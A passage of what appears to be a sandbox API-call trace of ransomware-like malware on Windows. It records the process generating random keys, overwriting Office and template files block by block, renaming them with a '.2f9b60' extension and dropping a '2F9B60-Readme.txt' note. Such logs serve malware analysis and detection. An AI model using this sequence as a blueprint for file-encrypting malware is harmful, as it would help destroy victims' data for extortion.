sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="b3") returned 2 [0200.544] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="26") returned 2 [0200.544] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="9a") returned 2 [0200.544] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="92") returned 2 [0200.544] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="df") returned 2 [0200.544] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="f2") returned 2 [0200.544] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="6c") returned 2 [0200.544] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="28") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="66") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="ea") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="e4") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="f5") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="6c") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="e1") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="a8") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="88") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="37") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d842c, _Format="%c%c" | out: _Dest="c9") returned 2 [0200.545] sprintf (in: _Dest=0x1b7d842e, _Format="%c%c" | out: _Dest="f0") returned 2 [0200.545] RtlInitAnsiString (in: DestinationString=0x35d1fa28, SourceString="fd7d68b6b3269a92dff26c2866b9eae4f56ce1a88837c9f0" | out: DestinationString="fd7d68b6b3269a92dff26c2866b9eae4f56ce1a88837c9f0") [0200.545] RtlAnsiStringToUnicodeString (in: DestinationString=0x35d1f9f8, SourceString="fd7d68b6b3269a92dff26c2866b9eae4f56ce1a88837c9f0", AllocateDestinationString=1 | out: DestinationString="fd7d68b6b3269a92dff26c2866b9eae4f56ce1a88837c9f0") returned 0x0 [0200.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0c20 [0200.546] wcscat (in: _Dest=0x43188900, _Source="fd7d68b6b326" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\fd7d68b6b326") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\fd7d68b6b326" [0200.546] wcscat (in: _Dest=0x43188900, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\fd7d68b6b326.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\fd7d68b6b326.2f9b60" [0200.546] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\fd7d68b6b326.2f9b60", NtPathName=0x35d1f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\fd7d68b6b326.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x431ee160 [0206.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ee160) returned 1 [0206.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fd510) returned 1 [0206.094] NtQueryInformationFile (in: FileHandle=0x1d64, IoStatusBlock=0x35d1fa38, FileInformation=0x35d1fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x35d1fa38, FileInformation=0x35d1fa48) returned 0x0 [0206.094] NtSetInformationFile (FileHandle=0x1d64, IoStatusBlock=0x35d1fa38, FileInformation=0x35d1fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0215.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43188900) returned 1 [0215.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a0c20) returned 1 [0215.844] FlushFileBuffers (hFile=0x1d64) returned 1 [0215.856] CloseHandle (hObject=0x1d64) returned 1 [0218.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431e33a0 [0218.648] wcscpy (in: _Dest=0x431e33a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0218.649] wcscat (in: _Dest=0x431e33a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\2F9B60-Readme.txt" [0218.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\2f9b60-readme.txt")) returned 0xffffffff [0218.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15fc [0222.863] WriteFile (in: hFile=0x15fc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x35d1f8f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x35d1f8f0*=0xba9, lpOverlapped=0x0) returned 1 [0224.072] CloseHandle (hObject=0x15fc) returned 1 [0225.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e33a0) returned 1 [0225.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a2f0) returned 1 [0225.563] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1cec49d0 | out: lpFindFileData=0x1cec49d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d99800, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61d99800, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x15b1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL002.XML", cAlternateFileName="")) returned 1 [0225.563] wcscmp (_String1="PGLBL002.XML", _String2=".") returned 1 [0225.564] wcscmp (_String1="PGLBL002.XML", _String2="..") returned 1 [0225.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a2f0 [0225.564] wcscpy (in: _Dest=0x2050a2f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0225.564] wcscat (in: _Dest=0x2050a2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0225.564] wcscat (in: _Dest=0x2050a2f0, _Source="PGLBL002.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" [0226.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml")) returned 0x20 [0226.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML", dwFileAttributes=0x20) returned 1 [0226.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x325c [0226.666] GetFileSizeEx (in: hFile=0x325c, lpFileSize=0x35d1f9e0 | out: lpFileSize=0x35d1f9e0*=1421818) returned 1 [0226.666] SetFilePointerEx (in: hFile=0x325c, liDistanceToMove=0x15b1f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.666] ReadFile (in: hFile=0x325c, lpBuffer=0x35d1f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35d1f9a8, lpOverlapped=0x0 | out: lpBuffer=0x35d1f960*, lpNumberOfBytesRead=0x35d1f9a8*=0x4, lpOverlapped=0x0) returned 1 [0226.736] SetFilePointerEx (in: hFile=0x325c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7df0 [0226.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0226.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a79a0 [0226.737] NtQuerySystemTime (in: CurrentTime=0x35d1f8a0 | out: CurrentTime=0x35d1f8a0*=132462178307314000) returned 0x0 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x4a20066b [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x540a92d7 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x69544c7d [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x3b5b19da [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x2b69057e [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x45652b1b [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0xdaa7fa0 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x5bff9adc [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x30ddc2f7 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x520eff84 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x3af20870 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x561daac7 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x274f93e5 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x1f4cbc7a [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x57a904b8 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x668cd264 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x147a8d65 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x547523a2 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0xe6b9578 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x50882423 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x5afb67db [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x777a8ab1 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x6961bddd [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x9b1d73f [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x5f00a16b [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x3cb3f0c7 [0226.737] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x75807f54 [0226.738] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0xe21e8d7 [0226.738] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x70eaf7e1 [0226.738] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x1bdfba54 [0226.738] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x3a82e584 [0226.738] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x6c4dc113 [0226.739] SetFilePointerEx (in: hFile=0x325c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.739] ReadFile (in: hFile=0x325c, lpBuffer=0x42432110, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35d1f900, lpOverlapped=0x0 | out: lpBuffer=0x42432110*, lpNumberOfBytesRead=0x35d1f900*=0x3c00, lpOverlapped=0x0) returned 1 [0226.786] SetFilePointerEx (in: hFile=0x325c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0226.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0226.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d70 [0226.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6d70) returned 1 [0226.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4245b5c0 [0226.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d70 [0226.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6290 [0226.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6290) returned 1 [0226.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0226.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0226.790] WriteFile (in: hFile=0x325c, lpBuffer=0x4245b5c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35d1f900, lpOverlapped=0x0 | out: lpBuffer=0x4245b5c0*, lpNumberOfBytesWritten=0x35d1f900*=0x3c00, lpOverlapped=0x0) returned 1 [0235.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4245b5c0) returned 1 [0235.243] SetFilePointerEx (in: hFile=0x325c, liDistanceToMove=0xb0400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.243] ReadFile (in: hFile=0x325c, lpBuffer=0x42432110, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35d1f900, lpOverlapped=0x0 | out: lpBuffer=0x42432110*, lpNumberOfBytesRead=0x35d1f900*=0x3c00, lpOverlapped=0x0) returned 1 [0235.246] SetFilePointerEx (in: hFile=0x325c, liDistanceToMove=0xb0400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61c40 [0235.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0235.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b30 [0235.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b30) returned 1 [0235.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4245b5c0 [0235.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a380 [0235.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0235.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0235.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0235.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c40) returned 1 [0235.597] WriteFile (in: hFile=0x325c, lpBuffer=0x4245b5c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35d1f900, lpOverlapped=0x0 | out: lpBuffer=0x4245b5c0*, lpNumberOfBytesWritten=0x35d1f900*=0x3c00, lpOverlapped=0x0) returned 1 [0241.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4245b5c0) returned 1 [0241.063] SetFilePointerEx (in: hFile=0x325c, liDistanceToMove=0x1575fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.063] ReadFile (in: hFile=0x325c, lpBuffer=0x42432110, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35d1f900, lpOverlapped=0x0 | out: lpBuffer=0x42432110*, lpNumberOfBytesRead=0x35d1f900*=0x3c00, lpOverlapped=0x0) returned 1 [0241.065] SetFilePointerEx (in: hFile=0x325c, liDistanceToMove=0x1575fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0241.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0241.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a78b0 [0241.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a78b0) returned 1 [0241.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4245b5c0 [0241.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a78b0 [0241.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a10 [0241.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6a10) returned 1 [0241.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0241.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0241.070] WriteFile (hFile=0x325c, lpBuffer=0x4245b5c0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35d1f900, lpOverlapped=0x0) Thread: id = 2290 os_tid = 0x1c40 [0145.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx")) returned 0x20 [0145.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX", dwFileAttributes=0x20) returned 1 [0145.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f0c [0145.492] GetFileSizeEx (in: hFile=0x1f0c, lpFileSize=0x4029f840 | out: lpFileSize=0x4029f840*=10986) returned 1 [0145.492] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x2ae6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.492] ReadFile (in: hFile=0x1f0c, lpBuffer=0x4029f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4029f808, lpOverlapped=0x0 | out: lpBuffer=0x4029f7c0*, lpNumberOfBytesRead=0x4029f808*=0x4, lpOverlapped=0x0) returned 1 [0145.499] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6740 [0145.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6890 [0145.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ce0 [0145.500] NtQuerySystemTime (in: CurrentTime=0x4029f700 | out: CurrentTime=0x4029f700*=132462177507346000) returned 0x0 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x24abdcd [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x3232fd66 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x597ce681 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x3fb57548 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x10bda776 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x38caea32 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x446fb6da [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x1daf00a9 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x3a730866 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x19327f85 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x10d32217 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x68db369c [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x34b0047b [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x6864733b [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x4e184ac6 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x7632d30 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x569ce7e4 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x1d637091 [0145.500] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x4a89c294 [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x3fb0ccab [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x5919bb5 [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x3ee68021 [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x65d1cb68 [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x3b61f838 [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x538820a3 [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x4a12b7ed [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x455739cf [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x77b70ebe [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x5986655a [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x1ad73d68 [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x3cdfb194 [0145.501] RtlRandomEx (in: Seed=0x4029f6f0 | out: Seed=0x4029f6f0) returned 0x3fa8ad25 [0145.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7970 [0145.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0145.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ce0) returned 1 [0145.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6740) returned 1 [0145.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0145.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6740 [0145.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6740) returned 1 [0145.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422b2140 [0145.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422a6d10 [0145.510] ReadFile (in: hFile=0x1f0c, lpBuffer=0x422b2140, nNumberOfBytesToRead=0x2aea, lpNumberOfBytesRead=0x4029f6f0, lpOverlapped=0x0 | out: lpBuffer=0x422b2140*, lpNumberOfBytesRead=0x4029f6f0*=0x2aea, lpOverlapped=0x0) returned 1 [0145.541] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.541] WriteFile (in: hFile=0x1f0c, lpBuffer=0x422a6d10*, nNumberOfBytesToWrite=0x2aea, lpNumberOfBytesWritten=0x4029f6f4, lpOverlapped=0x0 | out: lpBuffer=0x422a6d10*, lpNumberOfBytesWritten=0x4029f6f4*=0x2aea, lpOverlapped=0x0) returned 1 [0145.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c50 [0145.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63b0 [0145.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63b0) returned 1 [0145.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422a6d10) returned 1 [0145.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422b2140) returned 1 [0145.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a63b0 [0145.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0145.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a64d0 [0145.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64d0) returned 1 [0145.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a64d0 [0145.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7040 [0145.551] RtlAllocateHeap 